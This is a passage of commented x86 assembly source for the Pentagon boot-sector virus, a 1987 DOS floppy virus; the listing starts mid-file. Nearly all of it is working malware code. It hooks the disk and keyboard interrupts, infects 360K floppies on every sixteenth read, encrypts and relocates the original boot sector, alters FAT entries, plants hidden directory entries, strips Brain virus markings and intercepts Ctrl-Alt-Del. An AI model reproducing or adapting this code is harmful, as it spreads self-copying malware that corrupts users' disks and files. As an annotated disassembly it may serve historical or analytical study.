; Move next section of code to a safe area
|
||||
|
||||
MOV DI,200H+7C00H
|
||||
MOV SI,OFFSET DW008F+7C00H
|
||||
MOV CX,OFFSET DB00C5-DW008F ; Length to move
|
||||
PUSH DS ; \ Set ES to DS
|
||||
POP ES ; /
|
||||
CLD
|
||||
REPZ MOVSB ; Copy program section
|
||||
JMP BP0095X ; This is BP0095 in new location
|
||||
|
||||
DW008F DW 0B02H ; Track and sector of rest of code
|
||||
DW0091 DW 100H ; Head and drive of rest of code
|
||||
DW0093 DW 9EC0H ; Segment address of virus
|
||||
|
||||
BP0095: MOV CX,0004 ; Number of retries
|
||||
BP0098: PUSH CX
|
||||
MOV CX,DW7E00 ; Get track and sector number
|
||||
MOV DX,DW7E02 ; Get head and drive number
|
||||
MOV ES,DW7E04 ; Get buffer segment address
|
||||
MOV BX,0200H ; Buffer offset
|
||||
MOV AX,0201H ; Read one sector
|
||||
INT 13H ; Disk I/O
|
||||
JNB BP00B8 ; Branch if no error
|
||||
POP CX
|
||||
XOR AH,AH ; Reset floppy disk sub-system
|
||||
INT 13H ; Disk I/O
|
||||
LOOP BP0098 ; Retry
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
BP00B8: POP CX
|
||||
MOV AX,OFFSET DW7E04 ; Address segment address
|
||||
CLI
|
||||
MOV SP,AX ; Point SP at segment address
|
||||
STI
|
||||
MOV AX,0200H ; \ Address of second section
|
||||
PUSH AX ; /
|
||||
RETF
|
||||
|
||||
DB00C5 DB 50H
|
||||
|
||||
; The rest of this sector is a normal PCDOS 3.20 boot sector
|
||||
; which has been overwritten at 100H-122H by a character string
|
||||
|
||||
DB 61H, 0
|
||||
|
||||
XOR AH,AH
|
||||
INT 16H
|
||||
POP SI
|
||||
POP DS
|
||||
POP [SI]
|
||||
|
||||
DW00D0 DW 0B06H ; Track and sector numbers
|
||||
DW00D2 DW 0100H ; Head and drive numbers
|
||||
DB 19H
|
||||
|
||||
MOV SI,OFFSET DB7DB7
|
||||
JMP NEAR PTR DB00C5
|
||||
|
||||
MOV AX,BW051C
|
||||
XOR DX,DX
|
||||
DIV DW7C0B
|
||||
INC AL
|
||||
MOV DB7C3C,AL
|
||||
MOV AX,DW7C37
|
||||
MOV DW7C3D,AX
|
||||
MOV BX,0700H
|
||||
MOV AX,DW7C37
|
||||
CALL BP0137
|
||||
MOV AX,DW7C18
|
||||
SUB AL,DB7C3B
|
||||
INC AX
|
||||
PUSH AX
|
||||
|
||||
DB '(c) 1987 The Pentagon, Zorell Group'
|
||||
|
||||
DB 7CH
|
||||
JMP FAR PTR EXIT
|
||||
|
||||
BP0129: LODSB
|
||||
OR AL,AL
|
||||
JZ BP0150
|
||||
MOV AH,0EH
|
||||
MOV BX,7
|
||||
INT 10H
|
||||
JMP BP0129
|
||||
|
||||
BP0137: XOR DX,DX
|
||||
DIV DW7C18
|
||||
INC DL
|
||||
MOV DB7C3B,DL
|
||||
XOR DX,DX
|
||||
DIV DW7C1A
|
||||
MOV DB7C2A,DL
|
||||
MOV DW7C39,AX
|
||||
BP0150: RET
|
||||
|
||||
MOV AH,2
|
||||
MOV DX,DW7C39
|
||||
MOV CL,6
|
||||
SHL DH,CL
|
||||
OR DH,DB7C3B
|
||||
MOV CX,DX
|
||||
XCHG CH,CL
|
||||
MOV DL,DB7DFD
|
||||
MOV DH,DB7C2A
|
||||
INT 13H
|
||||
RET
|
||||
|
||||
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
|
||||
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
|
||||
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
|
||||
DB 'IBMBIO COMIBMDOS COM'
|
||||
|
||||
ORG 01FEH
|
||||
DW 0AA55H
|
||||
|
||||
; Second sector of virus
|
||||
|
||||
BP0200: CLI
|
||||
MOV SP,0F000H ; Reset stack pointer
|
||||
STI
|
||||
XOR AX,AX ; \ Address zero
|
||||
MOV DS,AX ; /
|
||||
MOV BX,004CH ; INT 13H jump address
|
||||
MOV BP,01A0H ; INT 68H jump address
|
||||
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
|
||||
JE BP0219 ; Branch if not
|
||||
JMP BP024E
|
||||
|
||||
BP0219: MOV AX,[BX] ; Get INT 13H offset
|
||||
MOV DS:[BP+0],AX ; Set INT 68H to this offset
|
||||
MOV AX,[BX+2] ; Get INT 13H segment
|
||||
MOV DS:[BP+2],AX ; Set INT 68H to this segment
|
||||
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
|
||||
MOV AX,CS ; \ Set INT 13H segment
|
||||
MOV [BX+2],AX ; /
|
||||
MOV BX,0024H ; INT 9 jump address
|
||||
MOV BP,01A4H ; INT 69H jump address
|
||||
MOV AX,[BX] ; Get INT 9 offset
|
||||
MOV DS:[BP],AX ; Set INT 69H to this offset
|
||||
MOV AX,[BX+2] ; Get INT 9 segment
|
||||
MOV DS:[BP+2],AX ; Set INT 69H to this segment
|
||||
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
|
||||
MOV AX,CS ; \ Set INT 9 segment
|
||||
MOV [BX+02],AX ; /
|
||||
JMP BP0254
|
||||
|
||||
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
|
||||
ADD WORD PTR [BX],5 ; Restore the 5K
|
||||
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
MOV DX,CS:[BP+2] ; Get head and device
|
||||
MOV BX,0200H ; Address second sector
|
||||
MOV CX,3 ; Three sectors to read
|
||||
BP0265: PUSH CX ; Save read count
|
||||
MOV AX,0201H ; Read one sector
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
MOV CS:[BP],CX ; Save new track and sector
|
||||
ADD BX,0200H ; Address next buffer area
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0280 ; Branch if no error
|
||||
POP CX
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
; Read file, first sector
|
||||
|
||||
BP0280: POP CX ; Retrieve read count
|
||||
LOOP BP0265 ; Repeat for other sectors
|
||||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
MOV DX,CS:[BP+2] ; Get head and drive
|
||||
MOV BX,1000H ; Buffer address
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP029B ; Branch if no error
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
; Read file, second sector
|
||||
|
||||
BP029B: CALL BP0300 ; Address to next sector
|
||||
ADD BX,0200H ; Update buffer address
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP02AC ; Branch if no error
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to decrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
CALL BP0315 ; Decrypt
|
||||
MOV AX,CS ; \
|
||||
MOV ES,AX ; ) Set ES & DS to CS
|
||||
MOV DS,AX ; /
|
||||
MOV DI,0100H ; Middle of 1st sector
|
||||
MOV SI,OFFSET DB07BC ; Address copyright message
|
||||
MOV CX,0023H ; Length of copyright message
|
||||
REPZ MOVSB ; Copy copyright message
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
MOV CX,0200H ; Length to decrypt
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Decrypt
|
||||
XOR AX,AX ; \ Segment zero
|
||||
MOV ES,AX ; /
|
||||
MOV DI,7C00H ; Boot sector buffer
|
||||
MOV SI,0800H ; Address boot sector store
|
||||
MOV CX,0200H ; Sector length
|
||||
CLD
|
||||
REPZ MOVSB ; Copy boot sector
|
||||
DB 0EAH ; Far jump to boot sector
|
||||
DW 7C00H, 0
|
||||
|
||||
DB 16 DUP (0)
|
||||
|
||||
; Address to next sector
|
||||
|
||||
BP0300: INC CL ; Increment sector number
|
||||
CMP CL,0AH ; Is it sector ten?
|
||||
JL BP0314 ; Branch if not
|
||||
MOV CL,1 ; Set sector to one
|
||||
INC DH ; Increment head
|
||||
CMP DH,2 ; Is it head two?
|
||||
JL BP0314 ; Branch if not
|
||||
XOR DH,DH ; Set head to zero
|
||||
INC CH ; Increment track
|
||||
BP0314: RET
|
||||
|
||||
; Encrypt/decrypt
|
||||
|
||||
BP0315: XOR [BX],AL ; Encrypt a byte
|
||||
INC BX ; Address next byte
|
||||
LOOP BP0315 ; Repeat for count
|
||||
RET
|
||||
|
||||
; Read from or write to disk
|
||||
|
||||
BP031B: PUSH SI
|
||||
PUSH DI
|
||||
MOV SI,AX ; Save function
|
||||
MOV DI,CX ; Save track and sector
|
||||
MOV CX,3 ; Number of retries
|
||||
BP0324: PUSH CX
|
||||
MOV AX,SI ; Retrieve function
|
||||
MOV CX,DI ; Retrieve track and sector
|
||||
INT 68H ; Disk I/O
|
||||
JNB BP0338 ; Branch if no error
|
||||
XOR AH,AH ; Reset sub-system
|
||||
INT 68H ; Disk I/O
|
||||
POP CX ; Retrieve number of retries
|
||||
LOOP BP0324 ; Retry
|
||||
STC
|
||||
JMP BP033B
|
||||
|
||||
BP0338: POP CX ; Retrieve number of retries
|
||||
MOV CX,DI ; Retrieve track and sector
|
||||
BP033B: POP DI
|
||||
POP SI
|
||||
RET
|
||||
|
||||
; Find unused FAT entry pair
|
||||
|
||||
BP033E: PUSH AX
|
||||
PUSH DX
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV DX,CX ; Initial cluster number
|
||||
XOR AL,AL ; Search for zero
|
||||
BP0348: MOV CX,3 ; Three bytes to check
|
||||
MOV DI,BX ; Address FAT entry pair
|
||||
REPZ SCASB ; Scan for non-zero
|
||||
CMP CX,0 ; Is FAT pair unused
|
||||
JE BP0361 ; Branch if yes
|
||||
ADD BX,3 ; Address next entry pair
|
||||
ADD DX,2 ; Update entry count
|
||||
CMP DX,0162H ; Entry 354?
|
||||
JLE BP0348 ; Process entry pair if not
|
||||
STC
|
||||
BP0361: MOV CX,DX ; Cluster number found
|
||||
POP DI
|
||||
POP ES
|
||||
POP DX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Find and flag an unused entry
|
||||
|
||||
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
|
||||
JZ BP0384 ; Branch if unused
|
||||
INC CX ; Next entry number
|
||||
INC BX ; Address 2nd entry
|
||||
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
|
||||
JZ BP038B ; Branch if unused
|
||||
INC CX ; Next entry number
|
||||
ADD BX,2 ; Address next entry pair
|
||||
CMP CX,0163H ; Entry 355?
|
||||
JLE BP0368 ; Process next FAT pair if not
|
||||
STC
|
||||
JMP BP0390
|
||||
|
||||
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
|
||||
JMP BP038F
|
||||
|
||||
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
|
||||
nop ; ** length adjustment, MASM 5.0
|
||||
BP038F: CLC
|
||||
BP0390: RET
|
||||
|
||||
; Unflag Brain virus bad clusters
|
||||
|
||||
BP0391: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV DX,CX
|
||||
BP0397: MOV AX,[BX] ; Get FAT entry
|
||||
AND AX,0FFFH ; Isolate FAT entry
|
||||
CMP AX,0FF7H ; Bad cluster?
|
||||
JE BP03B8 ; Branch if yes
|
||||
INC DX ; Add to cluster number
|
||||
INC BX ; Address next entry
|
||||
MOV AX,[BX] ; Get FAT entry
|
||||
MOV CL,4 ; Bits to move
|
||||
SHR AX,CL ; Move FAT entry
|
||||
CMP AX,0FF7H ; Bad Cluster?
|
||||
JE BP03C8 ; Branch if yes
|
||||
INC DX ; Add to cluster number
|
||||
ADD BX,2 ; Address next pair of entries
|
||||
CMP DX,015FH ; Entry 351?
|
||||
JLE BP0397 ; Process this pair if not
|
||||
BP03B8: MOV WORD PTR [BX],0 ; \
|
||||
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
|
||||
XOR WORD PTR [BX+3],0FF7H ; /
|
||||
JMP BP03D5
|
||||
|
||||
BP03C8: XOR WORD PTR [BX],0FF7H ; \
|
||||
MOV WORD PTR [BX+2],0 ; ) Clear three entries
|
||||
MOV BYTE PTR [BX+4],0 ; /
|
||||
BP03D5: POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Convert cluster number to track, head and sector
|
||||
|
||||
BP03DA: PUSH AX
|
||||
PUSH BX
|
||||
SUB CX,2 ; Subtract number of 1st cluster
|
||||
ADD CX,CX ; Two sectors per cluster
|
||||
ADD CX,0CH ; Add sector num of 1st cluster
|
||||
MOV AX,CX ; Copy sector number
|
||||
PUSH AX ; Save sector number
|
||||
MOV BL,9 ; Nine sectors per track
|
||||
DIV BL ; Divide by sectors per track
|
||||
INC AH ; First sector is one
|
||||
MOV CL,AH ; Move sector number
|
||||
XOR AH,AH ; Clear top of register
|
||||
MOV BL,2 ; Two heads
|
||||
DIV BL ; Divide by heads
|
||||
MOV DH,AH ; Move head number
|
||||
POP AX ; Retrieve sector number
|
||||
MOV BL,12H ; 18 sectors per track (both sides)
|
||||
DIV BL ; Divide by sectors per track
|
||||
MOV CH,AL ; Move track number
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Update directory
|
||||
|
||||
BP0401: PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
MOV CX,000FH ; Fifteen entries per sector
|
||||
XOR DI,DI ; Start of sector
|
||||
CMP AX,7 ; Is this first dir sector
|
||||
JNE BP0416 ; Branch if not
|
||||
SUB CX,3 ; Subtract three from count
|
||||
ADD DI,60H ; Address fourth entry
|
||||
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
|
||||
JNE BP0443 ; Branch if not
|
||||
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
|
||||
JNE BP0443 ; Branch if not
|
||||
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH CX
|
||||
ADD DI,BX ; Add sector address
|
||||
LEA SI,DB07B1 ; Address label
|
||||
MOV CX,000BH ; Length of new label
|
||||
CLD
|
||||
REPZ MOVSB ; Copy label
|
||||
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||||
POP CX
|
||||
POP DI
|
||||
POP SI
|
||||
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
|
||||
JE BP0452 ; Branch if yes
|
||||
ADD DI,20H ; Address next entry
|
||||
LOOP BP0416 ; Process next entry
|
||||
STC
|
||||
JMP BP0487
|
||||
|
||||
BP0452: ADD DI,BX ; Add sector address
|
||||
MOV BX,DI ; Move entry address
|
||||
MOV BYTE PTR [BX],0F9H ; "Filename"
|
||||
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
|
||||
MOV CX,CS:DW0784 ; Get virus cluster number
|
||||
MOV [BX+1AH],CX ; Store starting cluster
|
||||
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
|
||||
MOV WORD PTR [BX+1EH],0 ; /
|
||||
ADD DI,20H ; Address next entry
|
||||
MOV BX,DI ; Move entry address
|
||||
LEA SI,DB0791 ; Address start of encrypted
|
||||
MOV CX,0020H ; One complete entry to move
|
||||
CLD
|
||||
REPZ MOVSB ; Move entry
|
||||
MOV CX,CS:DW0786 ; Get file cluster number
|
||||
MOV [BX+1AH],CX ; Store starting cluster
|
||||
CLC
|
||||
BP0487: POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
|
||||
; Read actual boot sector - Brain infected
|
||||
|
||||
BP048D: PUSH AX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV CX,[BX+7] ; Get track and sector
|
||||
MOV DH,[BX+6] ; Get head number
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
POP DX
|
||||
POP CX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Generate a sound
|
||||
|
||||
BP04A0: MOV BP,1 ; One loop
|
||||
MOV AL,0B6H ; Counter two, both bytes, sq wave
|
||||
OUT 43H,AL ; Set PIT control register
|
||||
MOV AX,0533H ; Sound frequency
|
||||
OUT 42H,AL ; Send first byte
|
||||
MOV AL,AH ; Get second byte
|
||||
OUT 42H,AL ; Send second byte
|
||||
IN AL,61H ; Get port B
|
||||
MOV AH,AL ; Save port B value
|
||||
OR AL,3 ; Set sound bits on
|
||||
OUT 61H,AL ; Send port B
|
||||
SUB CX,CX ; Maximum loop count
|
||||
BP04BA: LOOP BP04BA ; Delay
|
||||
DEC BP ; Decrement count of loops
|
||||
JNZ BP04BA ; Branch if not zero (it won't be)
|
||||
MOV AL,AH ; Recover original port B
|
||||
OUT 61H,AL ; Send port B
|
||||
RET
|
||||
|
||||
; Int 13H routine
|
||||
|
||||
BP04C4: STI
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
MOV CS:DB0790,DL ; Save device
|
||||
CMP AH,2 ; Is function a read?
|
||||
JE BP04DA ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP04DA: DEC CS:DB07E0 ; Decrement count
|
||||
JZ BP04E4 ; Infect when zero
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get boot sector
|
||||
|
||||
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||||
PUSH CS ; \
|
||||
POP AX ; \ Set DS & ES to CS
|
||||
MOV DS,AX ; /
|
||||
MOV ES,AX ; /
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV CX,1 ; Track zero, sector one
|
||||
MOV DH,0 ; Head zero
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0508 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for Brain virus
|
||||
|
||||
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
|
||||
JNE BP051D ; Branch if not
|
||||
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
|
||||
CALL BP048D ; Read actual boot sector
|
||||
JNB BP052D ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for Pentagon virus
|
||||
|
||||
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||||
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
|
||||
JNE BP052D ; Branch if not
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for DOS boot sector
|
||||
|
||||
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
|
||||
JE BP0538 ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get first FAT sector
|
||||
|
||||
BP0538: ADD BX,0200H ; Update buffer address
|
||||
INC CL ; Next sector
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0549 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check media byte
|
||||
|
||||
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
|
||||
JE BP0551 ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get second sector of FAT
|
||||
|
||||
BP0551: ADD BX,0200H ; Update buffer address
|
||||
INC CL ; Next sector
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0562 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
|
||||
JNE BP0573 ; Branch if off
|
||||
MOV BX,0A03H ; Address first cluster in FAT
|
||||
MOV CX,2 ; First cluster is number two
|
||||
CALL BP0391 ; Unflag Brain virus bad clusters
|
||||
BP0573: MOV BX,0A96H ; \ Start from cluster 100
|
||||
MOV CX,0064H ; /
|
||||
CALL BP033E ; Find unused FAT entry pair
|
||||
JNB BP0581 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
|
||||
INC CX ; Next cluster number
|
||||
MOV [BX],CX ; Put it in first FAT entry
|
||||
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
|
||||
nop ; ** length adjustment, MASM 5.0
|
||||
DEC CX ; Set cluster number back
|
||||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||||
MOV CS:DW0788,CX ; Save virus track & sector
|
||||
MOV CS:DW078A,DX ; Save virus head and drive
|
||||
PUSH BP
|
||||
MOV BP,OFFSET DW008F ; Address virus pointer
|
||||
MOV CS:[BP+00],CX ; Save virus track & sector
|
||||
MOV CS:[BP+03],DH ; Save virus head
|
||||
POP BP
|
||||
MOV BX,0A96H ; \ Start from cluster 100
|
||||
MOV CX,0064H ; /
|
||||
CALL BP0368 ; Find an unused FAT entry
|
||||
JNB BP05B7 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
|
||||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||||
MOV CS:DW078C,CX ; Save file track & sector
|
||||
MOV CS:DW078E,DX ; Save file head and drive
|
||||
PUSH BP
|
||||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||||
MOV CS:[BP],CX ; Save track and sector
|
||||
MOV CS:[BP+3],DH ; Save head
|
||||
POP BP
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV CX,0200H ; Length to encrypt
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
|
||||
LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to encrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BX,0200H ; Virus second sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,CS:DW0788 ; Get virus track & sector
|
||||
MOV DX,CS:DW078A ; Get virus head and drive
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP0613 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0613: MOV AX,3 ; Three sectors to write
|
||||
BP0616: PUSH AX ; Save write count
|
||||
ADD BX,0200H ; Next sector buffer
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
CALL BP031B ; Write to disk
|
||||
JB BP062D ; Branch if error
|
||||
POP AX ; Retrieve write count
|
||||
DEC AX ; Decrement count
|
||||
JNZ BP0616 ; Repeat for each sector
|
||||
JMP BP0631
|
||||
|
||||
BP062D: POP AX
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write file
|
||||
|
||||
BP0631: LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to encrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||||
MOV CX,CS:DW078C ; Get file track & sector
|
||||
MOV DX,CS:DW078E ; Get file head and drive
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
MOV BX,1000H ; Address file buffer
|
||||
MOV AX,2 ; Two sectors to write
|
||||
BP065B: PUSH AX ; Save write count
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
JB BP062D ; Branch if error
|
||||
CALL BP0300 ; Address to next sector
|
||||
ADD BX,0200H ; Address next sector buffer
|
||||
POP AX ; Retrieve write count
|
||||
DEC AX ; Decrement write count
|
||||
JNZ BP065B ; Write each sector
|
||||
MOV BX,OFFSET BP0059 ; Start of encrypted
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt
|
||||
XOR BX,BX ; Address start of virus
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,1 ; Track zero, sector 1
|
||||
XOR DH,DH ; Head zero
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP068C ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write 1st FAT sector
|
||||
|
||||
BP068C: MOV BX,OFFSET BP0059
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Decrypt
|
||||
MOV BX,0A00H ; Address 1st FAT sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,2 ; Track zero, sector 2
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP06A8 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write 2nd FAT sector
|
||||
|
||||
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
INC CX ; Next sector
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP06B8 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Create directory entries
|
||||
|
||||
BP06B8: MOV BX,0E00H ; Address directory
|
||||
MOV CX,5 ; Track zero, sector 5
|
||||
XOR DH,DH ; Head zero
|
||||
MOV AX,7 ; Seven sectors to read
|
||||
BP06C3: PUSH AX ; Save read count
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
CALL BP031B ; Read from disk
|
||||
JB BP06F1 ; Branch if error
|
||||
POP AX ; \ Retrieve and save read count
|
||||
PUSH AX ; /
|
||||
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
|
||||
CALL BP0401 ; Update directory
|
||||
JNB BP06F5 ; Branch if entry found
|
||||
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
|
||||
JNE BP06EA ; Branch if off
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
BP06EA: POP AX ; Retrieve sector count
|
||||
DEC AX ; Decrement sector count
|
||||
JNZ BP06C3 ; Repeat for each sector
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP06F1: POP AX
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP06F5: POP AX
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
BP06FC: POP DI
|
||||
POP ES
|
||||
POP SI
|
||||
POP DS
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
INT 68H ; Disk I/O
|
||||
RETF 2
|
||||
|
||||
; Int 9 routine
|
||||
|
||||
BP0709: PUSH AX
|
||||
PUSH BX
|
||||
PUSH DS
|
||||
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
|
||||
XOR AX,AX ; \ Address zero
|
||||
MOV DS,AX ; /
|
||||
IN AL,60H ; Get keyboard token
|
||||
MOV BX,OFFSET BB0417 ; Address Key states
|
||||
TEST BYTE PTR [BX],8 ; Alt key depressed?
|
||||
JZ BP0736 ; Branch if not
|
||||
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
|
||||
JZ BP0736 ; Branch if not
|
||||
CMP AL,53H ; Del character token?
|
||||
JNE BP0736 ; Branch if not
|
||||
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
|
||||
XOR AL,AL ; \ ?
|
||||
OUT 60H,AL ; /
|
||||
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
|
||||
BP0736: POP DS
|
||||
POP BX
|
||||
POP AX
|
||||
INT 69H ; Keyboard I/O
|
||||
PUSHF
|
||||
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
|
||||
JNE BP0765 ; Branch if off
|
||||
POPF
|
||||
MOV AX,3 ; Set mode three
|
||||
INT 10H ; VDU I/O
|
||||
CLI
|
||||
MOV AL,0AH ; Repeat delay 10 times
|
||||
XOR CX,CX ; Maximum loop
|
||||
BP074F: LOOP BP074F ; Delay
|
||||
DEC AL ; Decrement delay count
|
||||
JNZ BP074F ; Repeat delay for count
|
||||
CALL BP04A0 ; Generate a sound
|
||||
XOR CX,CX ; Maximum loop
|
||||
BP075A: LOOP BP075A ; Delay
|
||||
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
|
||||
STI
|
||||
INT 19H ; Disk bootstrap
|
||||
|
||||
BP0765: POPF
|
||||
RETF 2
|
||||
|
||||
DB 27 DUP (0)
|
||||
|
||||
